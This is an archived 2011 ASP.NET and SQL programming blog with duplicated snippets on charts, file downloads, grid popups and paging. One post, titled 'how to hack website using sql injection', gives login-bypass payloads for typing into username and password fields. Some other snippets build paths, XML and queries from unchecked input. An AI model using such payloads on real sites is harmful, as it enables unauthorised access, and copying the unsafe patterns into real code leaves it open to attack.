Search This Blog
Thursday, October 13, 2011
Thursday, August 11, 2011
In table we have no identity number then create row id in table run time
SELECT t.* FROM (SELECT *, Row_Number() OVER(ORDER BY userid) AS RowNumber FROM table_user) t WHERE t.RowNumber % 2 = 0
Tuesday, August 9, 2011
select data in 2 part by even and odd data selection by sql query
select * from help where (SNo%2)=0 //even case
select * from help where (SNo%2)<>0 //odd case
Thursday, July 14, 2011
How to use FusionCharts in Windows .NET Applications
Steps to run graphical charts dinamically in your application
Step 1::
Create a folder to store xml files(In this folder dinamically xml will be created based on the values comes from the
database).
step 2::
Create a folder to store javascript and swf files in your application.
Now come to the coding part
step 3::
Take a literal control in your aspx page where you want to show the graph
step 4::
Part 1::
Put this function when you want to get data in graph monthwise
public void showmonths()
{
SqlParameter[] showreportmonthwise = new SqlParameter[]
{
new SqlParameter("@emailid",Session["emailid"].ToString()),
new SqlParameter("@testname",Label1.Text.Trim())
};
DataSet objDs = SqlHelper.GetDataSet(SqlHelper.mainConnectionString, CommandType.StoredProcedure, "sp_your_query",
showreportmonthwise);
if (objDs.Tables[0].Rows.Count != 0)
{
string str = "<chart caption='Test Report' xAxisName='Months' yAxisName='Marks' numberPostfix='%'
showValues='0' formatNumberScale='0' showBorder='1'>";
//str = showmonths();
foreach (DataRow dr in objDs.Tables[0].Rows)
{
monthname = dr[1].ToString();
marks = dr[0].ToString();
//str = str + "<set label='" + monthname + "'value='" + marks + "'/>";//' value='" + d + "'
str = str + "<set label='" + monthname + "' value='" + marks + "' />";
}
str = str + "</chart>";
DataSet ds = new DataSet();
//c = Convert.ToString(ds);
ds.ReadXml(new StringReader(str));
ds.WriteXml(Server.MapPath("~/xml_files/wholereport.xml"));
Literal3.Text = FusionCharts.RenderChart("FusionCharts/Column3D.swf", "xml_files/wholereport.xml", "",
"myFirst1", "600", "300", false, true);
}
}
Part 2::
Put this function when you want to get the data user wise
private void showresult_user_wise()
{
SqlParameter[] showreportuserwise = new SqlParameter[]
{
//new SqlParameter("@emailid",Session["emailid"].ToString()),
new SqlParameter("@testname",Label1.Text.Trim())
};
DataSet objDs = SqlHelper.GetDataSet(SqlHelper.mainConnectionString, CommandType.StoredProcedure, "sp_userwise",
showreportuserwise);
if (objDs.Tables[0].Rows.Count != 0)
{
string str = "<chart caption='Test Report' xAxisName='User' yAxisName='Marks' numberPrefix='%' showValues='0'
formatNumberScale='0' showBorder='1'>";
//str = showmonths();
foreach (DataRow dr in objDs.Tables[0].Rows)
{
username = dr[1].ToString();
score = dr[0].ToString();
//str = str + "<set label='" + monthname + "'value='" + marks + "'/>";//' value='" + d + "'
str = str + "<set label='" + username + "' value='" + score + "' />";
}
str = str + "</chart>";
DataSet ds = new DataSet();
//c = Convert.ToString(ds);
ds.ReadXml(new StringReader(str));
ds.WriteXml(Server.MapPath("~/xml_files/userwise.xml"));
Literal2.Text = FusionCharts.RenderChart("FusionCharts/Column3D.swf", "xml_files/userwise.xml", "", "myFirst2",
"600", "300", false, true);
}
}
Part 3::
This function is used to get the data in pie chart
public void showmonths_piechart()
{
SqlParameter[] showreportmonthwise = new SqlParameter[]
{
new SqlParameter("@emailid",Session["emailid"].ToString()),
new SqlParameter("@testname",Label1.Text.Trim())
};
DataSet objDs = SqlHelper.GetDataSet(SqlHelper.mainConnectionString, CommandType.StoredProcedure,
"sp_monthwise_in_singlequery", showreportmonthwise);
if (objDs.Tables[0].Rows.Count != 0)
{
string str = "<chart caption='Test Report' palette='2' animation='1' numberPostfix='%' formatNumberScale='0'
pieSliceDepth='30' startingAngle='125'>";
//str = showmonths();
foreach (DataRow dr in objDs.Tables[0].Rows)
{
monthname = dr[1].ToString();
marks = dr[0].ToString();
//str = str + "<set label='" + monthname + "'value='" + marks + "'/>";//' value='" + d + "'
str = str + "<set label='" + monthname + "' value='" + marks + "' />";
}
str = str + "</chart>";
DataSet ds = new DataSet();
//c = Convert.ToString(ds);
ds.ReadXml(new StringReader(str));
ds.WriteXml(Server.MapPath("~/xml_files/" + Convert.ToString(Session["emailid"]) + "piechart.xml"));
//Literal3.Text = FusionCharts.RenderChart("FusionCharts/Pie3D.swf", "xml_files/wholereport.xml", "",
"myFirst1", "600", "300", false, true);
Literal4.Text = FusionCharts.RenderChart("FusionCharts/Pie3D.swf", "xml_files/" + Convert.ToString(Session
["emailid"]) + "piechart.xml", "", "myfirst_piechart", "300", "200", false, true);
}
}
Step 1::
Create a folder to store xml files(In this folder dinamically xml will be created based on the values comes from the
database).
step 2::
Create a folder to store javascript and swf files in your application.
Now come to the coding part
step 3::
Take a literal control in your aspx page where you want to show the graph
step 4::
Part 1::
Put this function when you want to get data in graph monthwise
public void showmonths()
{
SqlParameter[] showreportmonthwise = new SqlParameter[]
{
new SqlParameter("@emailid",Session["emailid"].ToString()),
new SqlParameter("@testname",Label1.Text.Trim())
};
DataSet objDs = SqlHelper.GetDataSet(SqlHelper.mainConnectionString, CommandType.StoredProcedure, "sp_your_query",
showreportmonthwise);
if (objDs.Tables[0].Rows.Count != 0)
{
string str = "<chart caption='Test Report' xAxisName='Months' yAxisName='Marks' numberPostfix='%'
showValues='0' formatNumberScale='0' showBorder='1'>";
//str = showmonths();
foreach (DataRow dr in objDs.Tables[0].Rows)
{
monthname = dr[1].ToString();
marks = dr[0].ToString();
//str = str + "<set label='" + monthname + "'value='" + marks + "'/>";//' value='" + d + "'
str = str + "<set label='" + monthname + "' value='" + marks + "' />";
}
str = str + "</chart>";
DataSet ds = new DataSet();
//c = Convert.ToString(ds);
ds.ReadXml(new StringReader(str));
ds.WriteXml(Server.MapPath("~/xml_files/wholereport.xml"));
Literal3.Text = FusionCharts.RenderChart("FusionCharts/Column3D.swf", "xml_files/wholereport.xml", "",
"myFirst1", "600", "300", false, true);
}
}
Part 2::
Put this function when you want to get the data user wise
private void showresult_user_wise()
{
SqlParameter[] showreportuserwise = new SqlParameter[]
{
//new SqlParameter("@emailid",Session["emailid"].ToString()),
new SqlParameter("@testname",Label1.Text.Trim())
};
DataSet objDs = SqlHelper.GetDataSet(SqlHelper.mainConnectionString, CommandType.StoredProcedure, "sp_userwise",
showreportuserwise);
if (objDs.Tables[0].Rows.Count != 0)
{
string str = "<chart caption='Test Report' xAxisName='User' yAxisName='Marks' numberPrefix='%' showValues='0'
formatNumberScale='0' showBorder='1'>";
//str = showmonths();
foreach (DataRow dr in objDs.Tables[0].Rows)
{
username = dr[1].ToString();
score = dr[0].ToString();
//str = str + "<set label='" + monthname + "'value='" + marks + "'/>";//' value='" + d + "'
str = str + "<set label='" + username + "' value='" + score + "' />";
}
str = str + "</chart>";
DataSet ds = new DataSet();
//c = Convert.ToString(ds);
ds.ReadXml(new StringReader(str));
ds.WriteXml(Server.MapPath("~/xml_files/userwise.xml"));
Literal2.Text = FusionCharts.RenderChart("FusionCharts/Column3D.swf", "xml_files/userwise.xml", "", "myFirst2",
"600", "300", false, true);
}
}
Part 3::
This function is used to get the data in pie chart
public void showmonths_piechart()
{
SqlParameter[] showreportmonthwise = new SqlParameter[]
{
new SqlParameter("@emailid",Session["emailid"].ToString()),
new SqlParameter("@testname",Label1.Text.Trim())
};
DataSet objDs = SqlHelper.GetDataSet(SqlHelper.mainConnectionString, CommandType.StoredProcedure,
"sp_monthwise_in_singlequery", showreportmonthwise);
if (objDs.Tables[0].Rows.Count != 0)
{
string str = "<chart caption='Test Report' palette='2' animation='1' numberPostfix='%' formatNumberScale='0'
pieSliceDepth='30' startingAngle='125'>";
//str = showmonths();
foreach (DataRow dr in objDs.Tables[0].Rows)
{
monthname = dr[1].ToString();
marks = dr[0].ToString();
//str = str + "<set label='" + monthname + "'value='" + marks + "'/>";//' value='" + d + "'
str = str + "<set label='" + monthname + "' value='" + marks + "' />";
}
str = str + "</chart>";
DataSet ds = new DataSet();
//c = Convert.ToString(ds);
ds.ReadXml(new StringReader(str));
ds.WriteXml(Server.MapPath("~/xml_files/" + Convert.ToString(Session["emailid"]) + "piechart.xml"));
//Literal3.Text = FusionCharts.RenderChart("FusionCharts/Pie3D.swf", "xml_files/wholereport.xml", "",
"myFirst1", "600", "300", false, true);
Literal4.Text = FusionCharts.RenderChart("FusionCharts/Pie3D.swf", "xml_files/" + Convert.ToString(Session
["emailid"]) + "piechart.xml", "", "myfirst_piechart", "300", "200", false, true);
}
}
Thursday, June 16, 2011
file download code in C#
#region File download
private void forceDownload(string filePath, bool forceDownload)
{
try
{
string path = MapPath(filePath);
string name = Path.GetFileName(filePath);
string extension = Path.GetExtension(filePath);
string contentType = string.Empty;
switch (extension.ToLower())
{
case ".jpg":
contentType = "image/JPEG";
break;
case ".gif":
contentType = "image/GIF";
break;
case ".html":
case ".htm":
contentType = "image/HTML";
break;
case ".pdf":
contentType = "Application/pdf";
break;
case ".doc":
case ".rtf":
//for Microsoft Word files
contentType = "Application/msword";
break;
case ".xls":
//for Microsoft Excel files
contentType = "Application/x-msexcel";
break;
case ".txt":
contentType = "text/plain";
break;
}
if (forceDownload)
{
Response.AppendHeader("content-disposition", "attachment; filename=" + name);
}
if (contentType != string.Empty)
//Set the appropriate ContentType.
Response.ContentType = contentType;
//Write the file directly to the HTTP content output stream.
Response.WriteFile(path);
Response.End();
}
catch (Exception errmsg)
{
Response.Write(errmsg.Message.ToString());
}
}
#endregion
protected void LinkButtonDownLoad_Click(object sender, EventArgs e)
{
string filePath = ".\\uploadData\\" + LinkButtonDownLoad.Text.Trim();
if (File.Exists(Server.MapPath(filePath)))
{
forceDownload(filePath, true);
}
else
{
ClientScript.RegisterStartupScript(this.GetType(), "onload", "alert('Sorry, file not found!');", true);
}
}
}
private void forceDownload(string filePath, bool forceDownload)
{
try
{
string path = MapPath(filePath);
string name = Path.GetFileName(filePath);
string extension = Path.GetExtension(filePath);
string contentType = string.Empty;
switch (extension.ToLower())
{
case ".jpg":
contentType = "image/JPEG";
break;
case ".gif":
contentType = "image/GIF";
break;
case ".html":
case ".htm":
contentType = "image/HTML";
break;
case ".pdf":
contentType = "Application/pdf";
break;
case ".doc":
case ".rtf":
//for Microsoft Word files
contentType = "Application/msword";
break;
case ".xls":
//for Microsoft Excel files
contentType = "Application/x-msexcel";
break;
case ".txt":
contentType = "text/plain";
break;
}
if (forceDownload)
{
Response.AppendHeader("content-disposition", "attachment; filename=" + name);
}
if (contentType != string.Empty)
//Set the appropriate ContentType.
Response.ContentType = contentType;
//Write the file directly to the HTTP content output stream.
Response.WriteFile(path);
Response.End();
}
catch (Exception errmsg)
{
Response.Write(errmsg.Message.ToString());
}
}
#endregion
protected void LinkButtonDownLoad_Click(object sender, EventArgs e)
{
string filePath = ".\\uploadData\\" + LinkButtonDownLoad.Text.Trim();
if (File.Exists(Server.MapPath(filePath)))
{
forceDownload(filePath, true);
}
else
{
ClientScript.RegisterStartupScript(this.GetType(), "onload", "alert('Sorry, file not found!');", true);
}
}
}
< iframe id="iframetest"
src="http://localhost:1446/openPdf/csharp_ebook.pdf" height="100%"
width="100%"> Test Iframe </iframe>
open the html page using javascript
function popWin(){
window.showModalDialog("http://localhost/openPdf/try.html%22,'','dialogHeight:650px;dialogWidth:1000px')
}
This will open the pdf in modal dialog box.
src="http://localhost:1446/openPdf/csharp_ebook.pdf" height="100%"
width="100%"> Test Iframe </iframe>
open the html page using javascript
function popWin(){
window.showModalDialog("http://localhost/openPdf/try.html%22,'','dialogHeight:650px;dialogWidth:1000px')
}
This will open the pdf in modal dialog box.
Window Services for Scheduler
Please download this code by download code link.
In this Window Service code I have create Scheduler for money transfer at a particular requested date. If any user set different different date or time for money transfer automatic on same date and time without any event. Then we have use window services.
One user set time and date 12 July 2011 at 10:00 am money transfer A client table on sane date and time.
DB detail:
Two tables
1 for balance Userbalance (given date and time amount updated by window service)
2nd one for User_Request_Amount (set transfer amount)
We have created window service exe and register in server its work automatic.
Monday, June 6, 2011
open the pdf in modal dialog box.
< iframe id="iframetest"
src="http://localhost:1446/openPdf/csharp_ebook.pdf" height="100%"
width="100%"> Test Iframe </iframe>
open the html page using javascript
function popWin(){
window.showModalDialog("http://localhost/openPdf/try.html%22,'','dialogHeight:650px;dialogWidth:1000px')
}
This will open the pdf in modal dialog box.
src="http://localhost:1446/openPdf/csharp_ebook.pdf" height="100%"
width="100%"> Test Iframe </iframe>
open the html page using javascript
function popWin(){
window.showModalDialog("http://localhost/openPdf/try.html%22,'','dialogHeight:650px;dialogWidth:1000px')
}
This will open the pdf in modal dialog box.
Friday, June 3, 2011
how to hack website using sql injection
if database built by your self if you use this type of query to login and have no validation in your field.
select * from tabelname where username=@username and password=@password and flag=1
then you simply write in username field.
username = (select top 1 username from tabelname where username like 'm%') and
password=(select top 1 password from tabelname where username =(select top 1 username from tabelname where username like 'm%'))
and then the query becomes work like this
select * from tabelname where username=(select top 1 username from tabelname where username like 'm%')
and password=(select top 1 password from tabelname where username =(select top 1 username from tabelname where username like 'm%'))
and flag=1
*************************************************************************************
select * from tableABC where userid=(select top 1 userid from tableABC where userid like 'm%') and
userpwd =(select top 1 userpwd from tableABC where userpwd like 'v%')
username=(select top 1 userid from tableABC where userid like 'm%')
password=(select top 1 userpwd from tableABC where userpwd like 'v%')
select * from tabelname where username=@username and password=@password and flag=1
then you simply write in username field.
username = (select top 1 username from tabelname where username like 'm%') and
password=(select top 1 password from tabelname where username =(select top 1 username from tabelname where username like 'm%'))
and then the query becomes work like this
select * from tabelname where username=(select top 1 username from tabelname where username like 'm%')
and password=(select top 1 password from tabelname where username =(select top 1 username from tabelname where username like 'm%'))
and flag=1
*************************************************************************************
select * from tableABC where userid=(select top 1 userid from tableABC where userid like 'm%') and
userpwd =(select top 1 userpwd from tableABC where userpwd like 'v%')
username=(select top 1 userid from tableABC where userid like 'm%')
password=(select top 1 userpwd from tableABC where userpwd like 'v%')
Tuesday, April 19, 2011
Call popup in grid
open pop by function in grid uesing javascript.
protected void Grid_Author_RowDataBound(object sender, GridViewRowEventArgs e)
{
if (e.Row.RowType == DataControlRowType.DataRow)
{
e.Row.Cells[8].Attributes.Add("onclick", "return ConfirmDeletion();");
}
if (e.Row.RowType == DataControlRowType.DataRow)
{
e.Row.Cells[6].Attributes.Add("onclick", "return popup("+ Grid_Author.DataKeys[e.Row.RowIndex].Value +");");
}
}
<script language="javascript" type="text/javascript">
function ConfirmDeletion()
{
return confirm('Are you sure you want to delete this record?');
}
function popup(getID)
{
window.open('Detail.aspx?AuthorID='+getID,'BaseWork','dialogWidth:120px;');
}
</script>
set grid property DataKeyNames=sno,title,.......
e.Row.Cells[6].Attributes.Add("onclick", "return popup("+ Grid_Author.DataKeys[e.Row.RowIndex].Values[1] +","+Grid_Author.DataKeys[e.Row.RowIndex].Values[2] +");");
protected void Grid_Author_RowDataBound(object sender, GridViewRowEventArgs e)
{
if (e.Row.RowType == DataControlRowType.DataRow)
{
e.Row.Cells[8].Attributes.Add("onclick", "return ConfirmDeletion();");
}
if (e.Row.RowType == DataControlRowType.DataRow)
{
e.Row.Cells[6].Attributes.Add("onclick", "return popup("+ Grid_Author.DataKeys[e.Row.RowIndex].Value +");");
}
}
<script language="javascript" type="text/javascript">
function ConfirmDeletion()
{
return confirm('Are you sure you want to delete this record?');
}
function popup(getID)
{
window.open('Detail.aspx?AuthorID='+getID,'BaseWork','dialogWidth:120px;');
}
</script>
set grid property DataKeyNames=sno,title,.......
e.Row.Cells[6].Attributes.Add("onclick", "return popup("+ Grid_Author.DataKeys[e.Row.RowIndex].Values[1] +","+Grid_Author.DataKeys[e.Row.RowIndex].Values[2] +");");
Online seo on CS page by C# code
//***********Page Title **********************************************************
Page.Title = dr["Book_name"].ToString();
//*********************************************************************
void _HtmlMetaTags()
{
HtmlMeta myMetaKeyWords = new HtmlMeta();
HtmlMeta myMetaDescription = new HtmlMeta();
HtmlMeta myMetaRobot = new HtmlMeta();
HtmlMeta HTTP_EQUIV = new HtmlMeta();
myMetaKeyWords.Name = "keywords";
myMetaKeyWords.Content = "Non-Retail Social Investor, Institutional investor Lender, Not-For-Profit Institutions, CapitalConnect, Social Enterprise, Private Placement Market, Start-up Enterprises, exit option, Social Investment Trends, Double Bottomline, Private Equity management";
myMetaDescription.Name = "Description";
myMetaDescription.Content = "Social enterprise is an organisations that run Non-Retail Social Investor, Institutional investor Lender, Not-For-Profit Institutions.";
myMetaRobot.Name = "robots";
myMetaRobot.Content = "index,follow";
HTTP_EQUIV.HttpEquiv = "Content-Type";
HTTP_EQUIV.Content = "text/html; charset=iso-8859-1";
Page.Header.Controls.Add(myMetaKeyWords);
Page.Header.Controls.Add(myMetaDescription);
Page.Header.Controls.Add(myMetaRobot);
Page.Header.Controls.Add(HTTP_EQUIV);
}
Page.Title = dr["Book_name"].ToString();
//*********************************************************************
void _HtmlMetaTags()
{
HtmlMeta myMetaKeyWords = new HtmlMeta();
HtmlMeta myMetaDescription = new HtmlMeta();
HtmlMeta myMetaRobot = new HtmlMeta();
HtmlMeta HTTP_EQUIV = new HtmlMeta();
myMetaKeyWords.Name = "keywords";
myMetaKeyWords.Content = "Non-Retail Social Investor, Institutional investor Lender, Not-For-Profit Institutions, CapitalConnect, Social Enterprise, Private Placement Market, Start-up Enterprises, exit option, Social Investment Trends, Double Bottomline, Private Equity management";
myMetaDescription.Name = "Description";
myMetaDescription.Content = "Social enterprise is an organisations that run Non-Retail Social Investor, Institutional investor Lender, Not-For-Profit Institutions.";
myMetaRobot.Name = "robots";
myMetaRobot.Content = "index,follow";
HTTP_EQUIV.HttpEquiv = "Content-Type";
HTTP_EQUIV.Content = "text/html; charset=iso-8859-1";
Page.Header.Controls.Add(myMetaKeyWords);
Page.Header.Controls.Add(myMetaDescription);
Page.Header.Controls.Add(myMetaRobot);
Page.Header.Controls.Add(HTTP_EQUIV);
}
file download code in C#
#region File download
private void forceDownload(string filePath, bool forceDownload)
{
try
{
string path = MapPath(filePath);
string name = Path.GetFileName(filePath);
string extension = Path.GetExtension(filePath);
string contentType = string.Empty;
switch (extension.ToLower())
{
case ".jpg":
contentType = "image/JPEG";
break;
case ".gif":
contentType = "image/GIF";
break;
case ".html":
case ".htm":
contentType = "image/HTML";
break;
case ".pdf":
contentType = "Application/pdf";
break;
case ".doc":
case ".rtf":
//for Microsoft Word files
contentType = "Application/msword";
break;
case ".xls":
//for Microsoft Excel files
contentType = "Application/x-msexcel";
break;
case ".txt":
contentType = "text/plain";
break;
}
if (forceDownload)
{
Response.AppendHeader("content-disposition", "attachment; filename=" + name);
}
if (contentType != string.Empty)
//Set the appropriate ContentType.
Response.ContentType = contentType;
//Write the file directly to the HTTP content output stream.
Response.WriteFile(path);
Response.End();
}
catch (Exception errmsg)
{
Response.Write(errmsg.Message.ToString());
}
}
#endregion
protected void LinkButtonDownLoad_Click(object sender, EventArgs e)
{
string filePath = ".\\uploadData\\" + LinkButtonDownLoad.Text.Trim();
if (File.Exists(Server.MapPath(filePath)))
{
forceDownload(filePath, true);
}
else
{
ClientScript.RegisterStartupScript(this.GetType(), "onload", "alert('Sorry, file not found!');", true);
}
}
}
private void forceDownload(string filePath, bool forceDownload)
{
try
{
string path = MapPath(filePath);
string name = Path.GetFileName(filePath);
string extension = Path.GetExtension(filePath);
string contentType = string.Empty;
switch (extension.ToLower())
{
case ".jpg":
contentType = "image/JPEG";
break;
case ".gif":
contentType = "image/GIF";
break;
case ".html":
case ".htm":
contentType = "image/HTML";
break;
case ".pdf":
contentType = "Application/pdf";
break;
case ".doc":
case ".rtf":
//for Microsoft Word files
contentType = "Application/msword";
break;
case ".xls":
//for Microsoft Excel files
contentType = "Application/x-msexcel";
break;
case ".txt":
contentType = "text/plain";
break;
}
if (forceDownload)
{
Response.AppendHeader("content-disposition", "attachment; filename=" + name);
}
if (contentType != string.Empty)
//Set the appropriate ContentType.
Response.ContentType = contentType;
//Write the file directly to the HTTP content output stream.
Response.WriteFile(path);
Response.End();
}
catch (Exception errmsg)
{
Response.Write(errmsg.Message.ToString());
}
}
#endregion
protected void LinkButtonDownLoad_Click(object sender, EventArgs e)
{
string filePath = ".\\uploadData\\" + LinkButtonDownLoad.Text.Trim();
if (File.Exists(Server.MapPath(filePath)))
{
forceDownload(filePath, true);
}
else
{
ClientScript.RegisterStartupScript(this.GetType(), "onload", "alert('Sorry, file not found!');", true);
}
}
}
Call Java Script function on cs page
<script language="javascript" type="text/javascript">
function ConfirmDeletion()
{
return confirm('Are you sure you want to delete this record?');
}
</script>
if (e.Row.RowType == DataControlRowType.DataRow)
{
e.Row.Cells[7].Attributes.Add("onclick", "return ConfirmDeletion();");
}
function ConfirmDeletion()
{
return confirm('Are you sure you want to delete this record?');
}
</script>
if (e.Row.RowType == DataControlRowType.DataRow)
{
e.Row.Cells[7].Attributes.Add("onclick", "return ConfirmDeletion();");
}
Ues of Fieldset in aspx page
<fieldset>
<legend>test name of heading</legend>
<table bgcolor="#f3e8d4" style="position: relative" width="100%">
<tr>
<td colspan="6" style="height: 15px" bgcolor="#ddc89d">
</td>
</tr>
<tr>
<td style="width: 179px; height: 15px">
<span class="textbg">New Arrivals:</span></td>
<td style="width: 389px; height: 15px">
<asp:CheckBox ID="cbox_new" runat="server" Style="position: relative" /></td>
<td style="width: 100px; height: 15px">
Forthcoming:</td>
<td colspan="3" style="height: 15px">
<asp:CheckBox ID="cbox_for" runat="server" Style="position: relative" /></td>
</tr>
<tr>
<td style="width: 179px">
Best Sellers:</td>
<td style="width: 389px">
<asp:CheckBox ID="cbox_sell" runat="server" Style="position: relative" /></td>
<td style="width: 100px">
Hot Buys:</td>
<td colspan="3">
<asp:CheckBox ID="cbox_hot" runat="server" Style="position: relative" /></td>
</tr>
<tr>
<td style="height: 15px;" colspan="5">
If Other Language:
<asp:DropDownList ID="ddl_other" runat="server" Style="position: relative" CssClass="box">
<asp:ListItem Selected="True" Value="">Select</asp:ListItem>
<asp:ListItem Value="1">YES</asp:ListItem>
<asp:ListItem Value="0">NO</asp:ListItem>
</asp:DropDownList>
<asp:RequiredFieldValidator ID="val_lang" runat="server" ControlToValidate="ddl_other"
ErrorMessage="Please select language." ForeColor="" Style="position: relative"></asp:RequiredFieldValidator></td>
<td style="width: 100px; height: 15px;">
</td>
</tr>
<tr>
<td style="width: 179px">
</td>
<td style="width: 389px">
</td>
<td style="width: 100px">
</td>
<td style="width: 100px">
</td>
<td style="width: 100px">
</td>
<td style="width: 100px">
</td>
</tr>
</table>
</fieldset>
<legend>test name of heading</legend>
<table bgcolor="#f3e8d4" style="position: relative" width="100%">
<tr>
<td colspan="6" style="height: 15px" bgcolor="#ddc89d">
</td>
</tr>
<tr>
<td style="width: 179px; height: 15px">
<span class="textbg">New Arrivals:</span></td>
<td style="width: 389px; height: 15px">
<asp:CheckBox ID="cbox_new" runat="server" Style="position: relative" /></td>
<td style="width: 100px; height: 15px">
Forthcoming:</td>
<td colspan="3" style="height: 15px">
<asp:CheckBox ID="cbox_for" runat="server" Style="position: relative" /></td>
</tr>
<tr>
<td style="width: 179px">
Best Sellers:</td>
<td style="width: 389px">
<asp:CheckBox ID="cbox_sell" runat="server" Style="position: relative" /></td>
<td style="width: 100px">
Hot Buys:</td>
<td colspan="3">
<asp:CheckBox ID="cbox_hot" runat="server" Style="position: relative" /></td>
</tr>
<tr>
<td style="height: 15px;" colspan="5">
If Other Language:
<asp:DropDownList ID="ddl_other" runat="server" Style="position: relative" CssClass="box">
<asp:ListItem Selected="True" Value="">Select</asp:ListItem>
<asp:ListItem Value="1">YES</asp:ListItem>
<asp:ListItem Value="0">NO</asp:ListItem>
</asp:DropDownList>
<asp:RequiredFieldValidator ID="val_lang" runat="server" ControlToValidate="ddl_other"
ErrorMessage="Please select language." ForeColor="" Style="position: relative"></asp:RequiredFieldValidator></td>
<td style="width: 100px; height: 15px;">
</td>
</tr>
<tr>
<td style="width: 179px">
</td>
<td style="width: 389px">
</td>
<td style="width: 100px">
</td>
<td style="width: 100px">
</td>
<td style="width: 100px">
</td>
<td style="width: 100px">
</td>
</tr>
</table>
</fieldset>
paging in DataList by stored procedure in SQL
CREATE procedure getQueryPageitems
@totalItemCount int,
@pageNumber int,
@pageSize int
as
declare @numberOfItemToSelectForPage int
declare @totalItemsToSel int
declare @query nvarchar(4000)
if(@pageSize*@pageNumber <= @totalItemCount)
begin
set @numberOfItemToSelectForPage = @pageSize
set @totalItemsToSel = @pageSize*@pageNumber
end
else
begin
set @numberOfItemToSelectForPage = @totalItemCount - (@pageSize*(@pageNumber -1))
set @totalItemsToSel = @totalItemCount
end
begin
select @query = 'select * from(select top ' + cast(@numberOfItemToSelectForPage as varchar(10))
+ ' * from (select top ' + cast(@totalItemsToSel as varchar(10))
+ ' * from (select * from Query where Leedflag=1) tbl1
order by EntryDate desc)tabl2 order by EntryDate asc)tbl3 order by EntryDate desc'
end
--print @query
exec (@query)
GO
@totalItemCount int,
@pageNumber int,
@pageSize int
as
declare @numberOfItemToSelectForPage int
declare @totalItemsToSel int
declare @query nvarchar(4000)
if(@pageSize*@pageNumber <= @totalItemCount)
begin
set @numberOfItemToSelectForPage = @pageSize
set @totalItemsToSel = @pageSize*@pageNumber
end
else
begin
set @numberOfItemToSelectForPage = @totalItemCount - (@pageSize*(@pageNumber -1))
set @totalItemsToSel = @totalItemCount
end
begin
select @query = 'select * from(select top ' + cast(@numberOfItemToSelectForPage as varchar(10))
+ ' * from (select top ' + cast(@totalItemsToSel as varchar(10))
+ ' * from (select * from Query where Leedflag=1) tbl1
order by EntryDate desc)tabl2 order by EntryDate asc)tbl3 order by EntryDate desc'
end
--print @query
exec (@query)
GO
Bind Year in C#
#region BINDYEAR
private void BINDYEAR()
{
try
{
int A = 1800;
for (int i = 0; i < 20; i++)
{
ListItem LI = new ListItem();
LI.Text = Convert.ToInt16(A).ToString();
LI.Value = A.ToString();
A=A+1;
ddl_year.Items.Add(LI);
}
ddl_year.Items.Insert(0, "YYYY");
}
catch (Exception errmsg)
{
Response.Write(errmsg.Message.ToString());
}
}
#endregion
Block back option in application by cache
Page load or Page init event
Response.Cache.SetExpires(DateTime.UtcNow.AddMinutes(-1));
Response.Cache.SetCacheability(HttpCacheability.NoCache);
Response.Cache.SetNoStore();
How can manage length of text in C#
#region DisplayAbout_book()
public string DisplayAbout_book(object DataItem)
{
string About_book = Convert.ToString(DataBinder.Eval(DataItem, "About_book"));
if (About_book != string.Empty)
{
if (About_book.Length > 75)
{
About_book = About_book.ToString().Substring(0, 75);
}
else
{
About_book = About_book.ToString();
}
}
return About_book;
}
#endregion
public string DisplayAbout_book(object DataItem)
{
string About_book = Convert.ToString(DataBinder.Eval(DataItem, "About_book"));
if (About_book != string.Empty)
{
if (About_book.Length > 75)
{
About_book = About_book.ToString().Substring(0, 75);
}
else
{
About_book = About_book.ToString();
}
}
return About_book;
}
#endregion
Monday, April 4, 2011
convert multiple space in one space by function in c#
using System;
using System.Collections;
using System.Configuration;
using System.Data;
using System.Linq;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Xml.Linq;
using System.Text;
using System.Text.RegularExpressions;
public partial class SMS_space : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
public static string NormalizeWhiteSpace(string S)
{
string s = S.Trim();
bool iswhite = false;
int iwhite;
int sLength = s.Length;
StringBuilder sb = new StringBuilder(sLength);
foreach (char c in s.ToCharArray())
{
if (Char.IsWhiteSpace(c))
{
if (iswhite)
{
continue;
}
else
{
sb.Append(" ");
iswhite = true;
}
}
else
{
sb.Append(c.ToString());
iswhite = false;
}
}
return sb.ToString();
}
protected void Button1_Click(object sender, EventArgs e)
{
//*********************its also working**********************************
//string text = NormalizeWhiteSpace(TextBox1.Text);
//Response.Write(text);
//******************************8
Regex r = new Regex(@"\s+");
// Strip multiple spaces.
string s3 = r.Replace(TextBox1.Text, @" ");
Response.Write(s3);
}
}
using System.Collections;
using System.Configuration;
using System.Data;
using System.Linq;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Xml.Linq;
using System.Text;
using System.Text.RegularExpressions;
public partial class SMS_space : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
public static string NormalizeWhiteSpace(string S)
{
string s = S.Trim();
bool iswhite = false;
int iwhite;
int sLength = s.Length;
StringBuilder sb = new StringBuilder(sLength);
foreach (char c in s.ToCharArray())
{
if (Char.IsWhiteSpace(c))
{
if (iswhite)
{
continue;
}
else
{
sb.Append(" ");
iswhite = true;
}
}
else
{
sb.Append(c.ToString());
iswhite = false;
}
}
return sb.ToString();
}
protected void Button1_Click(object sender, EventArgs e)
{
//*********************its also working**********************************
//string text = NormalizeWhiteSpace(TextBox1.Text);
//Response.Write(text);
//******************************8
Regex r = new Regex(@"\s+");
// Strip multiple spaces.
string s3 = r.Replace(TextBox1.Text, @" ");
Response.Write(s3);
}
}
Subscribe to:
Posts
(
Atom
)